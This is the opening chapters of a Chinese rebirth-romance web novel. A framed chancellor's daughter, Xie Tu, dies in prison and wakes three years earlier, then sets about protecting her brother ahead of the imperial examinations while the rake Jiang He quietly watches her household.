《鹤公子有所荼谋(重生)》 1. 惊梦 《鹤公子有所荼谋(重生)》全本免费阅读 十二月隆冬,京城已是滴水成冰。 谢荼正靠在大理寺地牢的石墙边,等着鸩酒的毒发。 她仰着头,干裂的嘴唇边吐出一团白雾,笼在面庞上,遮住她鸦羽似的睫毛底下缀着的泪珠。 原本保养得极好的嫣红长甲早已断裂成几节,莹白的手指看不出原本纤细的模样,肿胀不堪,指尖甚至有虫鼠啃啮的痕迹。 身上穿着的上好蜀地锦缎制成的内衫也早已看不出花纹颜色,皱巴巴地裹在她的身上,遮不住的肌肤暴露在空气中,被冻得青紫红肿,竟无一块好的地方。 曾经出身高贵的她,容貌绝丽,才情绝佳,受着各功勋子弟的爱慕,本是京城之中世家贵女最艳羡的姑娘。 可这一切,在两月前父亲谢愉恩“通敌叛国”获罪后,成为泡影。 她艰难地侧过头,看向牢房角落。 在那里躺着的,是她的父兄。 父亲谢愉恩乃当朝宰相,一生清正,却被歹人设计陷害,蒙叛国重罪之冤深陷囹圄,更是遭到刑讯逼供。 三日前,父亲不堪重刑而死,双目怒圆腹部鼓胀,终究死不瞑目。 而她最敬重的兄长谢英,少年举人,正直聪慧,却因为不愿作伪证指认父亲的“罪行”,被斩断双手双脚,血流殆尽而亡。 此生唯剩的两位亲人,都死在了她的面前,谢荼闭着眼睛都能回想起父兄二人咽气时的惨烈模样。 她艰难地喘着气,腹部的绞痛让她整个人蜷曲起来,喉咙管中不断涌出猩红的液体,几乎令她窒息,整个人也逐渐飘忽起来。 眼前一片雾蒙蒙,看不真切。 谢荼知道,自己只怕是要死在这牢狱之中了,死在自己十六岁生辰这一天。 可是,怎么就没有一个人前来搭救呢? 入狱的这些时日,谢荼从未听闻有任何人为谢家之事奔波走动。 那些被父亲一手帮扶起来的谢家亲族,那些曾经口口声声爱慕自己的勋贵子弟,那些亲亲热热和自己情同姐妹的闺中密友,全都不见踪影。 她面露苦笑深叹一口气,闭上双眼静静地等待着死亡的降临。 “求求你,就让我进去见见她。” “这位大哥,您拿着吃茶暖暖身子,我只进去递件冬衣!” 恍惚中,谢荼似乎听见阵阵嘈杂人声,牢房外正在有人低声下气地求着狱卒通融,声音耳熟。 “去去去,这儿焉是你能进的地方?”狱卒粗犷的嗓音伴随着碎银子落地的声音。 “您看我手无缚鸡之力,我只进去看一眼即刻便走,绝不耽误您的差事儿,您行行好?” 那人喋喋不休,紧接着便是一袋子银钱落在手掌心的声音。 谢荼费力侧耳听了许久,这才辨认出。 姜鹤? 他来做什么? 因着姜家的那场祸事,曾经京城出了名的浪荡子姜鹤,如今也只是个庶民,能有多少钱财散给狱卒? 牢房外,狱卒似乎掂了掂手中的钱袋子,随后一阵钥匙哗啦声响,牢房外也由远及近地响起了步伐声。 谢荼强撑着眼皮,只极力看清姜鹤那惊慌失措的神情,便眼前一黑彻底失去了知觉。 “谢荼,醒醒!” ———— “醒醒!” “姑娘,醒醒,咱们快到了。” 谢荼猝然睁开双眼,映入眼帘的是一张熟悉的秀丽脸庞。 “典心?” 典心是母亲娘家的家生子,自小和她一同长大,是她身边最体面的大丫鬟。 可两个月前,谢家出事时,家中仆役全被遣散,典心被人掳走不知所踪。 她竟然能在死后再看见完好无虞的典心! “姑娘可是睡了好一阵,不过咱们就快到了,可要起身了呢!”典心捧了青釉竹叶花纹杯茶盏递给谢荼。 刚刚,是在梦中吗? 谢荼愣神间接过,茶香瞬间扑鼻。 是她最爱的雨前龙井。 她低头轻抿一口润喉,压下仍怦怦直跳的心,这才艰涩问道:“我们,到……哪儿?” “当然是隆山寺了。”典心浅笑着接过茶盏,语气轻柔,“想必姑娘是梦魇着了,竟一时分不清自己身处何地。” 隆山寺? 典心见她愣神,又用帕子从青釉瓷碟中捻起一块窝丝软糖塞进她的口中:“姑娘快醒醒神,咱们今日可是有重要任务呢!” “今日?”谢荼被塞得满口奶香。 这真实的口感,根本不似在梦中。 她连忙追问道,“哪日?” 典心微微撩开车帘看向近在眼前的隆山寺大门,浅笑道:“自然是替咱们大公子科考祈福的日子了!” 兄长?祈福? 谢荼这才发现自己身在一辆摇晃着前行的马车中。 马车内垫着松软靠垫,门边挂着湘妃竹的帘子,窗台边的小矮几上摆着一套青釉竹叶花纹瓷茶具,装着八宝糕点的碟子。 这陈设越看越是熟悉,是父亲专门为自己量身配备的出行车架。 可谢家明明已被抄家,家中财物全部清查封存,自己又怎会身处在自家的马车里呢? 马车速度渐渐慢下,谢荼已经从车窗的缝隙中瞥见姜黄色寺庙围墙。 回想起刚刚谈话间提到的隆山寺为兄长祈福之事,谢荼看着典心柔和的五官,猛然想起了什么。 像是要印证她的猜想一般,还未待马车停稳,车帘外便恰好响起一道人声: “咦,姜公子快瞧,这不是谢家姑娘的车架吗?” 谢荼瞪大了双眼,似乎有预见似的把目光从典心的脸上移开,转而朝着车帘一角看去。 下一瞬,一只洁白修长的手撩起车帘,亮出一张唇红肤白,剑眉星眸的脸。 矜贵少年郎一双眸子灿若星辰,嗓音清冽裹着笑意: “谢荼,几日不见,可有想小爷我啊?” 是这个浪荡子! 谢荼的胸中激荡着一种无以言明的感触。 偏偏是这样的浪荡子,经历了常人难以忍受的家族巨变,父兄被流放,母亲自戕,自己被贬斥为庶民。 可即便这样,他仍能在苦难之中惦记着给自己送去冬衣,甚至成了唯一见到自己死前最后一面的那个人。 这是多少曾经萦绕在自己周围大献殷勤的人都不曾做到的事情。 泪水一下子涌了上来,迷住了谢荼的双眼。 姜鹤穿着一身烟青色缂丝竹纹长衫,系着一件烟灰色图纹蜀锦披风,腰间挂着刻有姜氏族徽的玉佩,正歪着头看向车内的谢荼。 可等目光落在谢荼的脸上,看清她眼眸中的泪光时,姜鹤这个京城有名的小霸王竟然心头一跳,心中有种莫名的慌乱感: “欸?你,你怎么……” 这等情景,纵然谢荼不信那些怪力乱神,却也知道她这是重生了。 上天给了她重来一次的机会,让她重生在三年前为兄长谢英科考上山祈福的这一天! 回想起前世谢家祸事,惨死的父兄,谢荼不禁绞紧了手中的帕子。 “姜公子,您怎的如此莽撞,仔细冲撞了我家姑娘!”典心出声呵斥,张开双臂将谢荼严严实实地遮挡在身后护住。 眼前风光霁月的浪荡子和生命最后一刻见到的瘦削少年重叠在一起。 前世隆山寺门前相遇的那一遭,姜鹤当众撩开她的车帘,轻佻着问候她,周围看客哄笑成一片。 脸皮薄的她当下便和姜鹤结下梁子,对他心生厌恶,发誓再不与他同一处出现。 直到后来姜家生变,听闻他被贬她还暗骂了句“活该”。 再然后便是谢家蒙难,姜鹤不顾身份低声下气求狱卒进牢房探望她。 可真是造化弄人! 只一瞬,谢荼便稳住了心神。 她抬手用帕子轻轻擦去眼角的泪水,压着嗓音啐了一句:“浪荡!” 却不是前世的厌恶,而是得见他还安好的隐忍哽咽。 看见立在马车前姜鹤碰壁的窘迫模样,马车周围同姜鹤同行的公子哥儿瞬时哄笑开来: “姜公子,你也有今天?” “是啊姜公子,你不是号称同谢家姑娘自小相熟吗?怎的你一撩谢姑娘的车帘,反而让她身边的婢女给斥责了呢?” < 2. 备考 《鹤公子有所荼谋(重生)》全本免费阅读 从隆山寺回府后,顾不上喝一口热茶,换了身桃红色缕金百蝶花纹窄袖薄袄,谢荼便带着典心、吟心两个大丫头并一众婆子就直接去了前院哥哥谢英住着的重轩院。 从院门口到谢英的书房,要路过一口小池塘,池塘边种了许多湘妃竹,又从后院的水池中引了活水过来,从池塘中堆砌的太湖石假山上流下来,形成高山流水的景色。 从湘妃竹间曲径绕过,便看见谢英正坐在临窗的书桌前习字。 听见动静,谢英茫然抬头,恰好同谢荼的目光撞上。 谢荼神情恍惚了一阵,仿佛见到上一世抄家下狱后,哥哥被拉走拷问前,也曾仅着一身干净月白色中衣这样同她隔着栅门,嘴角含笑柔声安慰:“荼儿别怕,哥哥去去就回。” 再见他,便是一身血污,被狱卒提着手臂扔进干草堆毫无动静,汩汩鲜血顺着地面流到她的跟前。 可是,现在一切都还来得及,哥哥还完好无损地站在她面前。 “哥哥可是在温习功课?我来得可是不巧了。”谢荼眉目含着笑意笑吟吟地说道。 “妹妹今日怎想起到我这院子里来?”谢英面露惊喜模样,忙丢下手中的笔站起身走到窗边。 他竟来不及引着谢荼进门,直接隔着窗户同她说起话来。 谢英自从开蒙读书后便搬至前院单住,每日往返于前院西席和重轩院之间,后来课业愈发繁重,和妹妹谢荼见面的次数少之又少。 随着妹妹一日日地长大,每次见面,妹妹不再像小雀儿一般扑进他的怀里,也对他带回来的那些稀罕玩意儿不再感兴趣。 这还是这么多年以来,妹妹第一次主动跑来自己的院子同自己问好。 谢荼自然不知道自家哥哥心中想着的小九九。 她看着窗柩边面色如玉、风姿无双的少年郎,实在难以同那双手双脚尽断,全身血污惨死在狱中的瘦削男儿挂上钩。 她一直不清楚,这个和自己并不亲近的哥哥到底有多疼爱她这个妹妹。 直到抄家之时,从谢英的屋子里搜罗出几箱笼各式小物件,那都是这些年积攒下来,想要送给她的。 那时她才陡然察觉自己究竟忽略了什么。 “还有十日哥哥便要前往贡院参加考试了,原本这些备考的东西应该由母亲或者是嫂嫂来替哥哥准备。”说话间,谢荼走进书房,坐在谢英的桌子前随意把玩起桌面上的鸡血石印章来。 “不过母亲早逝,哥哥又还未娶妻,妹妹不才,想亲自替哥哥张罗一番。” 谢荼不绕弯子,直接说明来意。 “你不是一贯不愿沾染这些庶务,总觉得……”谢英下意识停住嘴,端起桌前的汝窑青瓷茶盏掩饰性地喝了一口茶。 谢荼讪讪一笑,她确实曾觉得庶务理账这些俗事会让自己沾染铜臭,平时更是对内宅事务从不过问。 谢家老夫人一心礼佛不问庶务,叔伯两家早就分府出去一直在老家单过,所以京城的谢府中馈原本一直由谢荼的母亲杜一南掌管。 谢荼五岁时,杜一南去世,谢愉恩同妻子伉俪情深,深受打击无心续弦,谢家的内宅事务便一直由杜一南身边服侍多年的陪房徐妈妈,协同大管家谢善家的刘妈妈一起主理。 她长到十岁时,谢愉恩曾经问过愿不愿意学习掌家庶务,被她以庶务凡俗为由严词拒绝。 “那时候还小,自然是不懂这内宅庶务的奥妙。”谢荼心虚地瞥了一眼谢英,继续道,“我也大了,想着先从帮哥哥整理备考事务开始练练手。” 学习掌管庶务本就是一件非常枯燥的事情,妹妹愿意接触学习自然是一件好事,谢英在心中这样想着。 可还不等谢英有所反应,谢荼便皱眉娇嗔道:“还是说哥哥不舍得开了自己的私库,怕我贪墨了哥哥什么好东西不成?” 谢英扑哧一笑,宠溺地摸了一把她的脑袋:“瞎胡说,哥哥有了好东西哪次不是先紧着给你?” “竹翠,去取我的库房钥匙来!”谢英扬声叫来屋里的大丫头,吩咐她再把册子一并找来递给妹妹谢荼。 竹翠“欸”了一声转身去了谢英的屋子,不一会儿端着个樟木盒子出来。 “姑娘揽了这事儿甚好,我们正好也能躲个懒呢!” 竹翠穿着一件青碧色暗花对襟袄,头上只简单插着一只珠花银钗,鹅蛋脸秀丽柳眉轻挑: “刚好,咱们哥儿年前便积攒了好些物件还没给姑娘送去,姑娘疼疼奴婢,一并把东西带了回去,免得我们跑来跑去地送。” 谢荼见到竹翠,只觉得眼热。 哥哥被卷进那莫名的“科考舞弊案”后,竹翠便因没有管理好哥哥屋内事,自罚杖责三十,被寡嫂领回了家,没过多久就没了性命。 这次由她亲自把关,一定能扭转前世所有人的命运。 “竹翠姐姐。”谢荼起身问好。 “科考舞弊案”后,哥哥虽然没有实质性证据的指证,可仍然从他屋子里翻出了和那“舞弊案”有关的只言片语。 哥哥被牵连,官职被贬后被挪到了翰林院编撰的位置上,他深受打击,人也迅速消沉了下去,直到父亲事发都没能再立起来。 这也是谢家蒙冤后,朝中无人伸出援手的原因——谢家后继无人,那些个歹人根本毫无忌惮。 “姑娘多礼了,若是有不清楚的,姑娘尽管差人来问便是。”竹翠将手中的樟木盒郑重地放在了典心的手中。 “那我可就接过这桩差事了,保管让哥哥满意舒心地去考试。”谢荼弯着眼眸冲着谢英眨了眨眼睛。 谢英笑呵呵地把桌上适才谢荼把玩的鸡血石印章硬塞给她,这才放她搬着只塞满小物件的箱笼离开重轩院。 不过一刻,谢家上下便都知道自家姑娘谢荼亲自替大公子谢英准备科考的事情了。 对于谢荼管起大公子院里的事情,谢家上下倒是无人质疑,只刘妈妈留了个心眼儿,晚上回便把这事儿说给了丈夫谢善听: “你说,咱们姑娘是不是年岁到了,想借着这事儿趁机接过家中的中馈练练手?” 刘妈妈这些年协管内宅事务,吃了不少油水,给两个儿子安排了肥差不说,每人都给挣了像样的宅子和田产铺子。 家中买了不少小丫头来使唤,手中宽裕起来自然是不想再回到过去那般被人指使做活的穷苦的日子。 更何况如今她走出去,谁人不尊称她一句谢相家的“刘妈妈”? “眼看着姑娘明年就要及笄,老爷不想把她嫁入高门,已经准备在今年的新科中替她相看,中馈练手想必不会如此着急。” 屋子里炭火烧得旺,谢善半敞着外衫吃着烫好的酒一边琢磨着:“你先别妄动,容我思考一番。” 谢荼不知道自己今天这一出搅动了府内多少管事的心。 她奔波了一天早就累了,却也没什么胃口,由着典心、吟心两个丫头服侍净了手 3. 打听 《鹤公子有所荼谋(重生)》全本免费阅读 “父亲来时可曾说过什么话?”谢荼脑壳有些痛,瞥了一眼屋子里的小丫头问道。 她只想借此机会整顿哥哥的屋内事,可还不想把手伸到偌大谢府的中馈里去。 要知道,树大招风,她在明敌在暗,若是因此惊动了暗藏在谢家的那贼人,逼得他们提前动手可就得不偿失了! 吟心知道兹事体大,撵尽屋内的小丫头们,这才恭敬的贴过身来小声回话: “听珠萍那小丫头说,她早晨扫院子开了门就看见老爷身穿朝服立在门口,老爷见到她便命她唤了我出去,把这匣子交代给我,只说别吵醒姑娘便转身去上朝。” “珠萍瞅着四周只有常跟着老爷上朝去的小厮高山,并没有其他人在跟前儿伺候,所以赶忙去叫我。” 日常这对牌都是在管家谢善的老婆刘妈妈身边管着,这对牌被父亲丢给自己管理,只怕是已经过了明路。 “姑娘可要今日去回事处见见各位管事?”典心看着吟心给谢荼绾好的元宝髻,从梳妆台上的掐丝银嵌宝石妆奁中,取出一副嵌红宝石类金丝金钗来,比划着便要往她头上插去。 谢荼摩挲着樟木匣子中的对牌,沉吟片刻道:“周妈妈,你亲自去一趟回事处传话,就说我这几日要忙着给哥哥整理备考的行李,暂时无暇顾及家中诸事,还请各位管事先担待着。” “我初来乍到多得需要各位管事帮着一起打理,烦请各位管事回去各自理好自己的账簿,回头一并交予我。” 周妈妈点头记下,领着谢荼的腰牌去了回事处的花厅传话。 而一旁的典心则疑惑问道:“姑娘不怕这些人利用这些日子在账簿中动手脚?” 谢荼偏头让过那只二两重的金钗道:“用人不疑,疑人勿用,这些个管事都是人精,若真有账上的差池,他们自然会想办法填平,我这也算是先礼后兵了。” “不用这钗子,我今日是要去开库房的,那只点睛红宝石珠花就行。” 典心又取了对红珊瑚手钏给谢荼戴上,并两只粉猫眼石耳坠,才算是装扮好了。 谢荼看着守在一旁,正在整理着缎面棉花的吟心,开口道: “吟心,我记得你有个哥哥,似乎是跟在徐妈妈家的章掌柜身边做学徒?” 谢荼想起昨夜睡前琢磨的事情,科考之日一日日临近,她深觉不能再耽搁下去。 “请你哥哥去打听看看,如今进京赶考的书生们如今都投宿在哪家客栈。” 吟心点头道:“奴婢知晓了。” 一旁的典心反倒是诧异道:“姑娘打听这个做什么?” 谢荼心中长叹一口气道:“我想着哥哥的那些同窗今年若是能有高中的,可以一同帮着打点,这样哥哥今后的仕途也能有些助力不是。” 哥哥前几年曾在沧州的白鹭书院进学过一段时间,后来父亲才请了西席先生在府里讲学,以照顾同窗的借口去打听事情不容易被人疑心。 不过,典心的性子着实该磨一磨。 “今日周妈妈整理我的私库,典心,你就跟着一起去帮着登记册子吧。” 私库里的东西繁杂多样,整理起来费时费力,恰好能捺一捺她的性子,有周妈妈在,也能带着让她学会察言观色的规矩。 典心的心思浅,只当是自家姑娘依仗她办了件重要的差事,高高兴兴地领了腰牌去寻周妈妈。 吟心拿了件嫩黄色流云白鼠毛边斗篷给谢荼系上,又递给她一只温热的暖手炉,听了谢荼附耳的几句嘱咐,这才扶着她往重轩院走去。 谢荼照着自己理的单子,拿着哥哥谢英的钥匙请了竹翠姐姐一同开了他的私库。 京城的初春还会飘雪,带去的被褥衣服不能太单薄,也不能太过厚重,谢荼亲自挑了两条沉香色蚕丝被褥。 “竹翠姐姐,带进去的衣服得是单层的不能有夹层,我记得哥哥有几身薄的石青色锦缎棉直缀,还请姐姐找出来。” 竹翠手上戴着一只缠丝白玉镯子,通身再无旁的饰品,看起来格外柔美。 “姑娘记性真好,咱们哥儿确是有几件这样的。” 那是因为“科考舞弊案”之后,谢英的东西被翻了出来好一阵挑拣。 谢老夫人嫌晦气,将谢英的那些旧日里的衣衫,用不上的书籍都被一把火烧尽,摆在最上面的就是那些薄棉直缀,可不就记住了。 “除了哥哥平日里用惯了的趁手物件,文房四宝及一应物品全部得看仔细些,不能磕碰缺角,也不能夹带字迹,那可是大忌!” 谢荼想到那“夹带舞弊”的罪名,心中一紧,忙指着一块冰纹石砚道:“像这样的也不行,没得被有心之人利用。” 谢荼指到哪儿,竹翠便跟着收拾到哪儿,一句怨言都没有。 “我那里再给哥哥准备两条护膝,免得他在那贡院里头受了寒。” 进了贡院,大门一关小门一锁,吃喝拉撒全靠自己,她得帮哥哥准备万全,免得受了冻遭了罪。 “姑娘怎么会知道这么多?”竹翠跟在谢荼身边忙了大半日,看向她的眼神愈发温柔似水。 自家哥儿和姑娘手足情深,深宅大院中倒是罕见。 谢荼理着衣料的手一顿,回想起上一世哥哥从贡院出来后,冻得直哆嗦还不忘自己耳边絮絮叨叨抱怨模样,抿嘴浅笑。 父亲一生为江山社稷殚精竭虑,而亲生子科考时,为了避嫌,不曾嘱咐一二。 哥哥在那贡院应试,恰逢倒春寒,冻得受不住,披着薄被子考完了全程,出来后便病了一场。 可即便哥哥寒窗十余载,经历考试的困苦,最后却依旧卷入了那场“科考舞弊案”。 谢荼放下衣料,攥紧手中帕子笑道:“没见猪跑还没吃过猪肉吗?去年这般时节还落了雪,倒春寒可冷的不得了,这可不得给哥哥多备些?” “我听顾家姐姐说,这贡院一旦落锁,即便是着了火,都不能开门,一旦开门,成绩便作废。” 顾侍郎家的几个儿子前几年都参加了科考,谢荼曾听顾家姑娘提起过。 多年前的春闱,有个考生考试瞌睡碰到了烛台,连着烧了几间屋子,考生们不愿放弃多年苦读的成绩,最终那里头的情形是可想而知的惨烈。 竹翠听着认同地点了点头,照着谢荼的要求去盯 4. 当局 《鹤公子有所荼谋(重生)》全本免费阅读 深夜,京城西郊喜鹊胡同内有一处人家挂着两盏红灯笼,门户虽小,却有两名大汉守着。 入门摆着一块丈二高的屏风,和田玉嵌着翠玉墨玉形成一幅山水画,风雅精致,如听得潺潺流水叮咚响。 不大的院子中立着座挂着月白鲛纱帐的亭子,亭中人影绰绰,轻声细语。 “公子好酒量,奴家甘拜下风。” 酒娘花娘子散着衣裙斜靠在塌边,玉手持火钳微挑着火盆里的银火炭,黑黝黝的杏眼斜瞥着塌上人,媚眼如丝,眼波流转我见犹怜。 “只是奴家不懂,为何公子如此将那屋子里的人晾着?” 姜鹤身上着宽袖墨色澜衫,腰间的玉带散开,露出前胸大片玉白。 他左臂撑着整个身子,右手提着一只青玉色冰纹酒壶,仰着头往里灌着酒,晶莹的酒滴顺着他耸动的喉头滚落,打湿搭在面前的衣襟。 院落不大,亭子里尚能听见厢房中的阵阵丝乐声,姜鹤摇晃着左手,指节一下下地点着榻上的软垫,像是没有听见花娘子说的话一般。 忽然,鲛纱帘外人影微动,姜鹤停下动作抬眼看向花娘子。 花娘子神色一凛,收起适才的调笑站起身来忙退了出去。 若不是她多年前被姜鹤所救,只怕也不会见到京城小霸王的这一面。 “陈全,进来。”姜鹤扬声叫人。 一位深杏色繁纹枝节夹袍打扮的侍卫掀开纱帘,裹挟着一身寒气跨步走进来,搅动起亭中鲛纱水般波纹。 陈全欠身行礼,靠近姜鹤蹲在榻边低声回话: “公子,谢府内并无异样,只是……” 姜鹤身上适才那般浪荡气早已荡然无存,取而代之的是一身肃穆冷意。 他微微掀起眼皮,神色冷漠地看着陈全,示意他继续。 “那日从隆山寺回去后,谢姑娘便以要帮着谢家公子整理备考行李为由,管起谢公子院里的事情。” “谢姑娘身边的婢女吟心,有个哥哥在外头做学徒,这两天在忙着四处打听谢英昔日同窗的落脚处。” 姜鹤后仰着,露出一截修长白皙的脖颈,声音慵懒带着鼻音:“唔,她同谢英的感情好,提前帮着打点旧日同窗,想来也是惯常做法,谢家没有主事的内眷,这样做倒也无可厚非……” 他一顿,从宽大的袖摆中伸出两根玉指,缓缓勾了两下。 陈全撑起身子,凑到姜鹤的身旁,听见他缓缓吐出后半句:“谢家老头儿对她这行为,有什么异议吗?” 谢愉恩此人,清正自律刚正不阿,却在某些事情上不够灵活,又有些许迂腐,这便是他从不登门拜访的原因。 以他如今在京城的名声,只怕要被这位谢相给打出来。 “回公子,谢相对此并无过多言语,第二日便亲自将掌家对牌钥匙交给了谢姑娘……” “姜鹤你莫不是酒多了跌进去了?” 一道清亮呼和声打断主仆两人的对话。 陈全回过头隔着鲛纱帘,看见院子尽头一处厢房门口,半倚着一身着宝蓝色杭绸直缀的公子哥儿。 眼神迷离,步伐虚浮地被身边的酒娘搀扶着,正抬着手胡乱指着茅房的位置直嚷嚷: “难不成你姜公子故意躲着我们呢?” 姜鹤闻言瞥一眼仍半跪着的陈全,陈全意会,闪身躲在立柱后。 “偷个懒都不行。”姜鹤适才双眸中的清明全然不见,倒是步履蹒跚地伸手撩开纱帘,“喝不下,真喝不下了。” 他拱起双手作求饶状,跌跌撞撞满脸绯红地从院中小亭子里走了出来。 守在外围的花娘子连忙靠上去,强撑着姜鹤,不让他摔倒。 宝蓝色直缀衫公子见他如此狼狈瞬时哈哈大笑,晃着的身子差点儿站不稳。 “都说这京城纨绔子弟之中,姜公子当排第一,就连我们沧州谁人不知咱们姜公子的大名,怎么今日一见,竟是个吃醉了酒便要偷奸耍滑之人? 若是寻常之人被旁人这般当着面侮辱,恐怕早就气得跳起来互相拉扯起来了。 可姜鹤喝得醺醉的脸上不见丝毫恼意,反而神色自若。 玉面绯红的面上带着笑意大方承认:“我自知今日逃不过要被你们灌醉,还不让我躲上一时半刻喘口气?” “厉公子,我这可不算丢丑!” 这穿着宝蓝色杭绸直缀正是谢英昔日的同窗,从沧州进京赶考的厉家小公子厉青玉。 他的嫡亲姨母多年前嫁给了京城南昌伯爵府嫡次子做填房。 南昌伯爵府是京城里的勋贵世家,有了这层姻亲关系,厉家在沧州的地位这些年水涨船高。 厉青玉作为厉家这一辈读书有所建树的哥儿,进京后便被他的嫡亲姨母借住在南昌伯爵府上。 临行前厉家长辈便已经同他言明,科考事大,这关系到厉家能否再和伯爵府成一桩喜事。 厉青玉身负家族重任,进京后一直在自己的借住的院子中刻苦悬梁。 这次也是实在推脱不过伯爵府的几位哥儿的邀请出来喝酒,又恰巧遇到了姜鹤,便被邀请着来了这样一处幽静雅致的私坊。 都是好玩乐的年纪,几杯酒下肚,厉青玉几斤几两就被人试探出来了。 姜鹤只觉得好笑,这厉家只怕是只看见伯爵府外表光鲜亮丽、花团锦簇,内里的腐朽,是一点儿也不曾发现。 可即便是这样,伯爵府里的人也看不上沧州出身的厉青玉,这回便是硬拉着他和京城中几位出了名的纨绔子弟搅和在一处。 厉青玉没有察觉这鸿门宴的用意,姜鹤倒是心中门儿清。 “青玉,扶着点儿姜公子,咱们说好了今日不醉不归。”里间的人叫唤道。 ———— 大约是因着谢府的庶务中馈被谢相亲自交付谢荼掌管,府中各处对谢荼院里的要求有求必应。 特别是在对牌钥匙送到谢荼的手里之后,她并未立刻要求各处管事把账簿上交查阅,而是借着整理备考事宜的由头缓了几日。 管事们都是人精,自然能体会出谢荼的用意。 今日周妈妈从大厨房带回来的菜色,那是别样的精致。 晚间的时候天阴沉下来,风中卷着湿意,隐约着有要落雪的意思。 大厨房干脆给谢荼做了道火炙羊肉,配上茭白肉丝儿、香炒香螺并一碗清爽莲子羹,最后还温了壶梨花酿端上来。 若是寻常日子,对吃食上素有讲究的谢荼理应食指大动、大快朵颐。 可她心里装着事情,即便是吟心在一旁给她夹菜盛汤,她也只吃了几口便没了胃口 5. 讨人 《鹤公子有所荼谋(重生)》全本免费阅读 谢荼的心里记挂着事情,即便是用了安眠的牛乳燕窝,到了就寝的时间仍然睡不着,在床上翻来覆去,愈发觉得心里燥得慌。 屋外风声萧瑟,不断有窸窸窣窣冰珠子打在窗棂上的声音,阴沉了一整日的老天终于是落下雪来。 她撩开浅棕色香云纱幔帐,扬声叫起外间值夜的刚留头的小丫头替她穿衣服。 小丫头是第一回进屋里伺候,紧张得脸涨得通红,抱了件玫瑰红百蝶万子纹小袄往她身上套。 许是被谢荼屋子里的动静吵醒,不一会儿典心吟心两人就披着外衫揉着哈欠走了进来: “姑娘这是怎么了?”典心满脸疑惑,吟心则快速扣好自己的衣裙,走上前来帮忙。 小丫头已经手脚麻利地帮谢荼将散开的头发挽成小髻,用一只莹润玉白雕着牡丹的簪子固定。 最后扶着谢荼坐在拔步床边,半跪着替她套了双麂皮短绒白边短靴。 谢荼倒也不瞒着:“晚上大约是炙羊肉吃多了些,清心败火的莲子羹没吃几口,眼下燥热得睡不着,不如趁着夜雪出去走走。” 典心在私库里盘了一天的账,此时困得根本睁不开眼睛,靠着嵌翡翠花鸟图的檀木屏风上直打盹。 谢荼看着只觉得好笑,直打发她回去继续睡:“你带着这几个小丫头回去接着睡吧,明天还得继续忙活,这里有吟心陪着我就行。” 典心挠了挠后脑勺,犹豫不决地看了眼一旁的吟心,只见她正在垂眸用银箸夹着烧红的炭火放入谢荼常用的金錾花卉纹嵌宝石暖手炉中。 察觉到典心目光的吟心嘴角噙着笑意,手中的动作有条不紊地进行着:“去吧,姑娘还有我在,再不济院子里还有值夜的洒扫婆子丫头。” 吟心的生辰虽然比典心小了几个月,是谢夫人去世后才选上来的丫鬟,可性子沉稳,和典心在一处,却更像是姐姐。 谢荼看着吟心的目光柔软怜惜。 上一世谢家家破人亡,典心被人掳走下落不明,吟心陪着她下了大狱。 她从一个京城贵女,一朝自高台跌落,成日惶恐不安,很快便染了病,躺在牢房里高烧到开始说胡话。 彼时,父亲谢愉恩的罪还未定下,和谢英两人一同正在被提审,无人可救她。 吟心焦心她的病症,求着狱卒叫大夫没有得到回应,只得等到狱卒放饭时,一头撞在了牢房门上,血溅当场。 狱卒这才信了,叫来大夫没多久后,吟心就咽了气。 谢荼在心中长叹一声,如若吟心知道谢家最后还是以谋逆定罪,她也被一杯鸩酒刺死,她会不会后悔自己当初以命换命的冲动? 典心和小丫头们都被吟心撵着去休息了,整个房中只剩下吟心和谢荼二人。 “姑娘披着斗篷出门吧。”吟心站在门口,抖了抖手中白狐裘斗篷招呼道,“虽然已经是初春,可毕竟是落雪夜,到底是冷了些,姑娘深夜外出,仔细染上风寒。” 吟心一手提着一盏八角琉璃宫灯在一旁照着,一手撑着油纸伞,陪着穿戴整齐的谢荼往园子里走去。 谢家宅子占地极大,因为谢家主母出身江南,因此后宅则是参考了江南园林的布局。 九曲回廊悠长,连接院内池塘山石,贯通谢荼的三进重峦院,廊下石阶顺边种着的红梅正是飘香的时节,浓郁梅香扑面而来,令人舒心不已。 谢荼的麂皮短靴踩在浅薄雪地中,发出“嘎吱嘎吱”的声响,在寂静深夜中倒显得分外清晰。 “什么时辰了?” 谢荼站在抄手游廊上,望着哥哥重轩院方向隐约透出的灯光,蹙眉问道。 “亥时了。”吟心显然也是看见那头的光线,惊讶道:“大公子这会儿还没睡下?” 她想到几日后的春闱,不由笑道:“大公子许是温书忘了时辰,姑娘想去看望公子?” 谢荼不带任何犹豫,抬脚便出了院门往重轩院走去。 着门口小厮通报后,谢荼卷着一身寒气进了谢英的书房。 “妹妹怎么这会子没睡?”谢英嘴角勾勒出一抹淡笑,手中却仍然握着笔埋头写着字。 书房里并不是很暖和,谢荼的小脸儿陷在毛茸茸的领子里拢着斗篷坐在太师椅上,手上捧着小丫头端上来的青釉菱花纹茶盏取暖。 谢英见妹妹鼻尖冻得透红,叫来小丫头给她脚边放了一盆不起烟的银屑炭,并开口解释道: “房中过于暖和会使人困倦,所以平日里我吩咐他们地龙不必烧得太热,累着妹妹烤会儿火取取暖。” 谢荼喝了热茶,伸手烤着火,侧头看向仍然刻苦练习策论的谢英。 谢英穿了件石青色云纹团花夹袄袍,发顶簪着枚碧玉簪,桌上谢荼差人送来的琉璃灯盏烛火熠熠,照得他眉眼柔和。 他的鼻梁挺拔,双唇却因正在思索书写内容而紧紧抿成一条线,倒显得坚韧执拗。 谢荼还未曾如此仔细看过哥哥的眉眼,不同于她的五官明艳,也许哥哥更像早逝的母亲。 “哥哥可是忧心几日之后的科考?” 谢英笔下一顿,这时才抬头看向妹妹谢荼。 随着年纪增长,妹妹谢荼便端起了京城贵女矜贵的架子,不再同他分享自己的小烦恼。 谢英了解妹妹的性子,也知道男女八岁不同席的道理,他从未埋怨妹妹不和他亲近。 今日妹妹是继那日帮他整理备考事宜后,再一次主动关心他。 他的目光落在谢荼的身上,看见她肩头上的几簇雪花正在被屋内炭火温度融化。 “外面飘雪了?”他诧异问道。 竟然是冒雪前来,难道是有什么不寻常的事情,希望得到自己的帮助? 他撂下手中笔,坐到谢荼身边温声反问:“可是遇到什么难事?” 只是一句寻常的关心,谢荼竟然觉得鼻头酸涩,双眼似要涌出什么来。 她怕谢英看出什么破绽,连忙遮掩岔开话题:“都道‘临阵磨枪,不快也光’,哥哥难道也是在‘临时抱佛脚?’” 谢英狐疑看着妹妹的眼眶红了红,却又被笑意覆盖,抬手替她掸开肩头的化雪,故作轻松道:“我们谢家倒也不缺我必须考个状元回来,我有何要紧张的?” 